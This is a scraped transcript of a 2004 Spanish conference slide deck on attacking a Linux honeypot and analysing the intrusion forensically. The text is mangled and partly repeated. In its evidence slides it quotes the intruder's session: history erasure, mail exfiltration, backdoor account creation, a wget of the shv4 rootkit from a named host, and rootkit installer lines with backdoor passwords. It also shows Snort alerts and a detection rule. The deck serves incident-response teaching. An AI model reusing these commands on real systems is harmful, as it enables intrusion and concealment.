demostracion hacking honeypot y análisis forense

50
© 2003 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice Demostración de hacking de un honeypot y análisis forense David Pérez Raúl Siles © HP Security Center Junio 2004 FIST 2004

Upload: conferencias-fist

Post on 27-Dec-2014

346 views

Category:

Technology


0 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Demostracion Hacking Honeypot y Análisis Forense

copy 2003 Hewlett-Packard Development Company LPThe information contained herein is subject to change without notice

Demostracioacuten de hacking de un honeypot y anaacutelisis forense

David PeacuterezRauacutel Siles

copy HP Security CenterJunio 2004

FIST 2004

page 217062004

Ponentes David Peacuterez y Rauacutel Siles

bull David Peacuterezndash 1994 ndash Ingeniero de Telecomunicaciones UPVndash 1996 - 1998 - 2004 HP Soporte Sistemas - HP Security Centerndash GCFA GCIA GCIH GSNA

bull Rauacutel Silesndash 1999 ndash Ingeniero Informaacutetico UPMndash 1999 - 2000 - 2004 HP Soporte - HP Security Centerndash CCNP GCIH GCIA GSNA GCUX

page 317062004

Seguridad lo que ya has oiacutedo

bull Securizacioacuten de sistema operativobull Instalacioacuten y configuracioacuten de firewallbull Instalacioacuten y configuracioacuten de IDSbull Instalacioacuten y configuracioacuten de antivirus y filtrado de

contenidosbull Utilizacioacuten de protocolos seguros SSH SSL IPSecbull Mantenimiento boletines de seguridad instalar parchesbull Gestioacuten y poliacuteticas de seguridadbull bull bla bla blabull

page 417062004

Seguridad un paso maacutes allaacute

page 517062004

Investigacioacuten de incidentes

1 Preparacioacuten2 Identificacioacuten

3 Contencioacuten

4 Anaacutelisis en profundidad

5 Recuperacioacuten

6 Leccionesaprendidas

page 617062004

Objetivo

ldquoMostrar con un ejemplo reducidolo importante que es investigar los

incidentes de seguridadrdquo

page 717062004

Descripcioacuten de la prueba realizada

bull Un ldquohoneypotrdquo es un recurso de seguridad cuyo valor consiste en ser atacado o comprometido [1]

bull Se usoacute como honeypot un PC fue instalado con LinuxRedHat 80 y conectado a Internet a traveacutes de un ADSL domeacutestico

bull Una vez comprometido se realizoacute un anaacutelisis forense sobre el sistema para obtener la mayor cantidad de informacioacuten posible

bull Ademaacutes del honeypot se configuroacute un IDS y se tomaron trazas de red En el anaacutelisis se distinguioacute queacute informacioacuten aportoacute cada parte

[1] Spitzner Lance Honeypots tracking hackers Addison Wesley 2003

page 817062004

Diagrama de red

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router InternetADSL

page 917062004

Resumen del incidente (12)

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 2: Demostracion Hacking Honeypot y Análisis Forense

page 217062004

Ponentes David Peacuterez y Rauacutel Siles

bull David Peacuterezndash 1994 ndash Ingeniero de Telecomunicaciones UPVndash 1996 - 1998 - 2004 HP Soporte Sistemas - HP Security Centerndash GCFA GCIA GCIH GSNA

bull Rauacutel Silesndash 1999 ndash Ingeniero Informaacutetico UPMndash 1999 - 2000 - 2004 HP Soporte - HP Security Centerndash CCNP GCIH GCIA GSNA GCUX

page 317062004

Seguridad lo que ya has oiacutedo

bull Securizacioacuten de sistema operativobull Instalacioacuten y configuracioacuten de firewallbull Instalacioacuten y configuracioacuten de IDSbull Instalacioacuten y configuracioacuten de antivirus y filtrado de

contenidosbull Utilizacioacuten de protocolos seguros SSH SSL IPSecbull Mantenimiento boletines de seguridad instalar parchesbull Gestioacuten y poliacuteticas de seguridadbull bull bla bla blabull

page 417062004

Seguridad un paso maacutes allaacute

page 517062004

Investigacioacuten de incidentes

1 Preparacioacuten2 Identificacioacuten

3 Contencioacuten

4 Anaacutelisis en profundidad

5 Recuperacioacuten

6 Leccionesaprendidas

page 617062004

Objetivo

ldquoMostrar con un ejemplo reducidolo importante que es investigar los

incidentes de seguridadrdquo

page 717062004

Descripcioacuten de la prueba realizada

bull Un ldquohoneypotrdquo es un recurso de seguridad cuyo valor consiste en ser atacado o comprometido [1]

bull Se usoacute como honeypot un PC fue instalado con LinuxRedHat 80 y conectado a Internet a traveacutes de un ADSL domeacutestico

bull Una vez comprometido se realizoacute un anaacutelisis forense sobre el sistema para obtener la mayor cantidad de informacioacuten posible

bull Ademaacutes del honeypot se configuroacute un IDS y se tomaron trazas de red En el anaacutelisis se distinguioacute queacute informacioacuten aportoacute cada parte

[1] Spitzner Lance Honeypots tracking hackers Addison Wesley 2003

page 817062004

Diagrama de red

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router InternetADSL

page 917062004

Resumen del incidente (12)

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

